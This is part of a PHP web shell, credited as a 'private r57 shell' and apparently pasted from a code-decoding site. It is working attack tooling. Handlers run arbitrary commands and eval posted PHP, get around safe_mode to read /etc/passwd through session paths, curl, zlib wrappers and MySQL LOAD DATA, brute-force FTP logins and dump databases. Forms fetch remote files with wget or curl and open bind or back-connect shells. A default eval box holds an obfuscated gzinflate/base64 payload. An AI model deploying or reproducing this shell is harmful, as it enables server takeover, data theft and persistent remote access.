 break;
case 'test23':
  @session_save_path($_POST['test23_file2'].";$tempdir");
  @session_start();
  @$_SESSION[php]=$_POST['test23_file1'];
  $filen=$_POST['test23_file2'];
    if(file_exists($filen))
    echo $lang[$language.'_text61']."  ".$filen;
    else
  echo "Can't write file";
  break;
case 'test24':
@putenv("TMPDIR=".$_POST['test24_file2']);
  @ini_set("session.save_path", "");
  @ini_alter("session.save_path", "");
  @session_start();
  @$_SESSION[php]=$_POST['test24_file1'];
  $filen=$_POST['test24_file2'];
  if(file_exists($filen))
  echo $lang[$language.'_text61']."  ".$filen;
  else
  echo "Can't write file";
  break;
case 'test25':
  @readfile($_POST['test25_file1'], 3, "php://../../../../../../../../../../../".$_POST['test24_file2']);
  $filen=$_POST['test25_file2'];
  if(file_exists($filen))
  echo $lang[$language.'_text61'];
  else
  echo "Can't write file";
  break;
   case 'file1':

if(!empty($_POST['file1']))
 $file1=$_POST['file1'];

  $level=0;

  if(!file_exists("file1:"))
  	mkdir("file1:");
  chdir("file1:");
  $level++;

  $hardstyle = explode("/", $file1);

  for($a=0;$a<count($hardstyle);$a++){
  	if(!empty($hardstyle[$a])){
  		if(!file_exists($hardstyle[$a]))
  			mkdir($hardstyle[$a]);
  		chdir($hardstyle[$a]);
  		$level++;
  	}
  }

  while($level--) chdir("..");

  $ch = curl_init();

  curl_setopt($ch, CURLOPT_URL, "file1:file1:///".$file1);

  if(FALSE==curl_exec($ch))
  	die('>Sorry... File '.htmlspecialchars($file1).' doesnt exists or you dont have permissions.');

  curl_close($ch);
break;
  case 'file':

if(!empty($_POST['file']))
 $file=$_POST['file'];

  $level=0;

  if(!file_exists("file:"))
  	mkdir("file:");
  chdir("file:");
  $level++;

  $hardstyle = explode("/", $file);

  for($a=0;$a<count($hardstyle);$a++){
  	if(!empty($hardstyle[$a])){
  		if(!file_exists($hardstyle[$a]))
  			mkdir($hardstyle[$a]);
  		chdir($hardstyle[$a]);
  		$level++;
  	}
  }

  while($level--) chdir("..");

  $ch = curl_init();

  curl_setopt($ch, CURLOPT_URL, "file:file:///".$file);

  if(FALSE==curl_exec($ch))
  	die('>Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.');

  curl_close($ch);
break;


 }
}
else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
 $cmd_rep = ex($_POST['cmd']);
 if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."
"; }
 else { echo @htmlspecialchars($cmd_rep)."
"; }}
if ($_POST['cmd']=="heroes1412_mysql")
 {
  if(empty($_POST['test3_sr'])) { $_POST['test3_sr'] = "localhost"; }
  if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
  $db = @mysql_connect($_POST['test3_sr'].':'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
  if($db)
   {
   if(@mysql_select_db($_POST['test3_md'],$db))
    {
     @mysql_query("DROP TABLE IF EXISTS heroes1412");
     @mysql_query("CREATE TABLE `heroes1412` ( `file` LONGBLOB NOT NULL )");
     @mysql_query("LOAD DATA LOCAL INFILE \"".str_replace('\','/',$_POST['test3_file'])."\" INTO TABLE heroes1412 FIELDS TERMINATED BY '' ESCAPED BY '' LINES TERMINATED BY '
'");
     $r = @mysql_query("SELECT * FROM heroes1412");
     while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
     @mysql_query("DROP TABLE IF EXISTS heroes1412");
    }
    else echo "[-] ERROR! Can't select database";
   @mysql_close($db);
   }
  else echo "[-] ERROR! Can't connect to mysql server";
 }
if ($_POST['cmd']=="ftp_brute")
 {
 $suc = 0;
 foreach($users as $user)
  {
  $connection = @ftp_connect($ftp_server,$ftp_port,10);
  if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success
"; $suc++; }
  else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success
"; $suc++; } }
  @ftp_close($connection);
  }
 echo "
-------------------------------------
";
 $count = count($users);
 if(isset($_POST['reverse'])) { $count *= 2; }
 echo $lang[$language.'_text97'].$count."
";
 echo $lang[$language.'_text98'].$suc."
";
 }
if ($_POST['cmd']=="php_eval"){
 $eval = @str_replace("<?","",$_POST['php_eval']);
 $eval = @str_replace("?>","",$eval);
 eval($eval);}
if ($_POST['cmd']=="mysql_dump")
 {
  if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
  $sql = new my_sql();
  $sql->db   = $_POST['db'];
  $sql->host = $_POST['db_server'];
  $sql->port = $_POST['db_port'];
  $sql->user = $_POST['mysql_l'];
  $sql->pass = $_POST['mysql_p'];
  $sql->base = $_POST['mysql_db'];
  if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
  else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
  else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
  else {
   if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."
"; }
   else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."
"); }
   else { echo "[-] ERROR! Can't write in dump file"; }
   }
 }
echo "</textarea></div>";
echo "</b>";
echo "</td></tr></table>";
echo "<table width=100% cellpadding=0 cellspacing=0>";
function div_title($title, $id)
{
  return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
}
function div($id)
 {
 if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">';
 return '<div id="'.$id.'">';
 }
if(!$safe_mode){
echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
}
else{
echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
echo $te.'</div>'.$table_end1.$fe;

echo $fs.$table_up1.div_title($lang[$language.'_text224'],'id511').$table_up2.div('id511').$ts;
echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>","<select size=\"1\" name=\"plugin\"><option value=\"plugin\">/etc/passwd</option></option></select>".in('hidden','cmd',0,'plugin').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode){
echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):(""))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id5').$table_up2.div('id5').$ts;
echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):(""))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0755"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
}


echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
echo $te.'</div>'.$table_end1.$fe;



echo $fs.$table_up1.div_title($lang[$language.'_text207'],'id207').$table_up2.div('id207').$ts;
echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','glob',85,'/etc/').in('hidden','cmd',0,'glob').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.'</div>'.$table_end1.$fe;
echo $fs.$table_up1.div_title($lang[$language.'_text209'],'id209').$table_up2.div('id209').$ts;
echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','root',85,'/etc/').in('hidden','cmd',0,'root').in
('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.'</div>'.$table_end1.$fe;

echo $fs.$table_up1.div_title($lang[$language.'_text300'],'id500').$table_up2.div('id500').$ts;
echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','heroes1412_curl',85,'/etc/passwd').in('hidden','cmd',0,'cURL').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.'</div>'.$table_end1.$fe;

echo $fs.$table_up1.div_title($lang[$language.'_text203'],'id411').$table_up2.div('id411').$ts;
echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','ini_restore',85,'/etc/passwd').in('hidden','cmd',0,'ini_restore').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
echo $te.'</div>'.$table_end1.$fe;

echo $fs.$table_up1.div_title($lang[$language.'_text125'],'id2900').$table_up2.div('id2900').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test19',85,'/etc/passwd').in('hidden','cmd',0,'test19').in
('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;

echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id2901').$table_up2.div('id2901').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','file',85,'/etc/passwd').in
('hidden','cmd',0,'file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end2.$fe;


echo $table_up1.div_title($lang[$language.'_text131'],'id2902').$table_up2.div('id2902').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>Read File</div></b></font>";
echo sr(25,"<b>File :".$arrow."</b>",in('text','file1',45,(!empty($_POST['file1']))?($_POST['file1']):("/etc/passwd")).in('submit','submit',2,"Read File"));
function rsg_read()
	{	
	$test="";
	$temp=tempnam($test, "cx");
	$file1=$_POST['file1'];	
	$get=htmlspecialchars($file1);
	echo "<center><br><b><font size=2>Trying To Get File <font color=red><b>$get</b></font><br>";
	if(copy("compress.zlib://".$file1, $temp)){
	$fichier = fopen($temp, "r");
	$action = fread($fichier, filesize($temp));
	fclose($fichier);
	$source=htmlspecialchars($action);
echo "<div align=\"center\"><b><font size=2><br><font color=\"red\"><textarea name=report cols=60 rows=10>$source</textarea><br><b><br>Found <b><font size=2>$get</font></b>";
	unlink($temp);
	} else {
	die("<b><font size=2><CENTER>Sorry... File
	<font color=red><B>".htmlspecialchars($file1)."</B></font> dosen't exists or you don't have
	access.</CENTER></FONT>");
			}
	echo "</div>";
	}
if(isset($_POST['file1']))
{
rsg_read();
}
echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>View Dir</div></b></font>";
echo sr(25,"<b>Dir :".$arrow."</b>",in('text','directory',45,(!empty($_POST['directory']))?($_POST['directory']):("/etc")).in('submit','submit',2,'View'));
function rsg_glob()
{
$chemin=$_POST['directory'];
$files = glob("$chemin*");
echo "<center><b><font size=2>Trying To List Folder <font color=red><b>$chemin</b></font><br>";
echo "<textarea cols=60 rows=10>";
foreach ($files as $filename) {
	   echo "$filename
";
	   }echo "</textarea></center>";
	   }
if(isset($_POST['directory']))
{
rsg_glob();
}
echo $te."</td>".$fe."</tr></div></table>";


















echo $fs.$table_up1.div_title($lang[$language.'_text210'],'id210').$table_up2.div('id210').$ts;
echo "<table class=table1 width=100% align=center>";
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','zend',85,(!empty($_POST['zend'])
?($_POST['zend']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'zend').ws(4).in
('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;




if(extension_loaded("ionCube Loader"))
{
echo $fs.$table_up1.div_title($lang[$language.'_text230'],'id230').$table_up2.div('id230').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test14_cmd',96,(!empty($_POST['test14_cmd'])?($_POST['test14_cmd']):(''))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14').in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;  
}

if($unix&&extension_loaded("win32std"))
{
echo $fs.$table_up1.div_title($lang[$language.'_text231'],'id231').$table_up2.div('id231').$ts;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test15_cmd',96,(!empty($_POST['test15_cmd'])?($_POST['test15_cmd']):('dir'))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15').in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;  
}

if($unix&&extension_loaded("win32service"))
{
echo $fs.$table_up1.div_title($lang[$language.'_text232'],'id232').$table_up2.div('id232').$ts;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test16_cmd',96,(!empty($_POST['test16_cmd'])?($_POST['test16_cmd']):('dir'))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;  
}


if($unix&&extension_loaded("ffi"))
{
echo $fs.$table_up1.div_title($lang[$language.'_text132'],'id35').$table_up2.div('id234').$ts;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test18_cmd',96,(!empty($_POST['test18_cmd'])?($_POST['test18_cmd']):('dir'))).ws(4).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test18').in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;  
}

$aliases2 = '';
foreach ($aliases as $alias_name=>$alias_cmd)
 {
 $aliases2 .= "<option>$alias_name</option>";
 }
echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts;
echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;

echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts;
echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ");
echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.php;,asp;.aspx;.cfm')."*".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
echo $te.'</div>'.$table_end1.$fe;



if($curl_on)
{
echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}

if($mssql_on)
{
echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts;
echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):(""))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font;
echo "<div align=center>".div('id9')."<textarea name=php_eval cols=120 rows=5>";
echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("readfile(\"/etc/passwd\");
echo file_get_contents(\"/etc/passwd\");
passthru(\"ln -s /etc/passwd heroes1412.txt\");
eval(gzinflate(base64_decode('NYzbCoJAEIavd2HfYRIvPERKF0FY0BP0AhVhNrmDpqJrJuG7N2oNzOmfb/7A85QEDw5xa3RZw+l4Sdseuc1yUlZ9Tak2sA7D7agFSippE+whjJTsNOUIDu872IQcLnyUFHZOBTJSlQ29rymaqmvpzpjLP4Ie4CzwWZnemUB3fhI/s5waw5YZ9kuwX7nLPhgn+s9OqMBEl+N1ZZ0LK5qkW41xNo0DF04QNvk+K8MX')));"));
echo "</textarea>";
echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
echo "</div></div></font>";
echo $table_end1.$fe;


{
echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts;
echo "<tr><td valign=top width=50%>".$ts;
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,''));
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',85,''));
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',85,''));
echo $te."</td><td valign=top width=50%>".$ts;
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',85,''));
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',85,''));
echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
echo $te."</td></tr>";
echo $te.'</div>'.$table_end1.$fe;
}

if(!$safe_mode&&$unix){
echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts;
echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
echo $te.'</div>'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts;
echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
$arh = $lang[$language.'_text92'];
if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip';   }
if(@function_exists('gzencode'))   { $arh .= in('radio','compress',0,'gzip').' gzip'; }
if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
echo $te.'</div>'.$table_end1.$fe;
if($unix && @function_exists("ftp_connect")){
echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts;
echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):(""))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo sr(15,"","<font face=tahoma size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']);
echo $te.'</div>'.$table_end1.$fe;
}
if($mysql_on||$mssql_on||$pg_on||$ora_on)
{
$select = '<select name=db>';
if($mysql_on) $select .= '<option>MySQL</option>';
if($mssql_on) $select .= '<option>MSSQL</option>';
if($pg_on)    $select .= '<option>PostgreSQL</option>';
if($ora_on)   $select .= '<option>Oracle</option>';
$select .= '</select>';
echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";
echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):(""))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):(""))));
echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):(""))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):(""))));
echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):(""))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):(""))));
echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):(""))));
echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
echo $te."<div align=center id='n'><textarea cols=75 rows=2 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;
#create table _heroes1412_ (mt varchar(1024));
#load data local infile '/etc/passwd' into table _heroes1412_;
#update table set column='value what you want' where column=number;
#insert table ('column','column') VALUES (number,'value');"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>";
}
if($unix){
echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'9999'));
echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'SnIpEr'));
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'80'));
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
echo $te."</td>".$fe."</tr></div></table>";
}
if($safe_mode)
{
echo $table_up1.div_title($lang[$language.'_text211'],'id211').$table_up2.div('id211').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text212']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','php_ini1',10,'php.ini').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text213']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','htacces',10,'htaccess').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text218']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','file_ini',10,'ini.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
echo $te.'</div>'.$table_end1.$fe;
}
echo '</table>'.$table_up3."</table>";


?>
<html>
<body>
<center>
<div align=center id='n'><font face=Verdana size=-1 color=red><b>o---[ <a href=http://hoang1.co.cc>private r57 shell by <a href=mailto:[email protected]?subject=Hello_heroes1412>heroes1412</a></a>  ]---o</b></font></div>
<b><font face="Verdana" size=-1 color="white">Generation time:</font></b> <font color="red"><b><? echo round(getmicrotime()-starttime,4); ?></b></font> <font face="Verdana" size=-1 color="white"><b>seconds</b></font>
</center>
</body>
</html><?

Did this file decode correctly?

Original Code

<? eval(gzinflate(base64_decode('
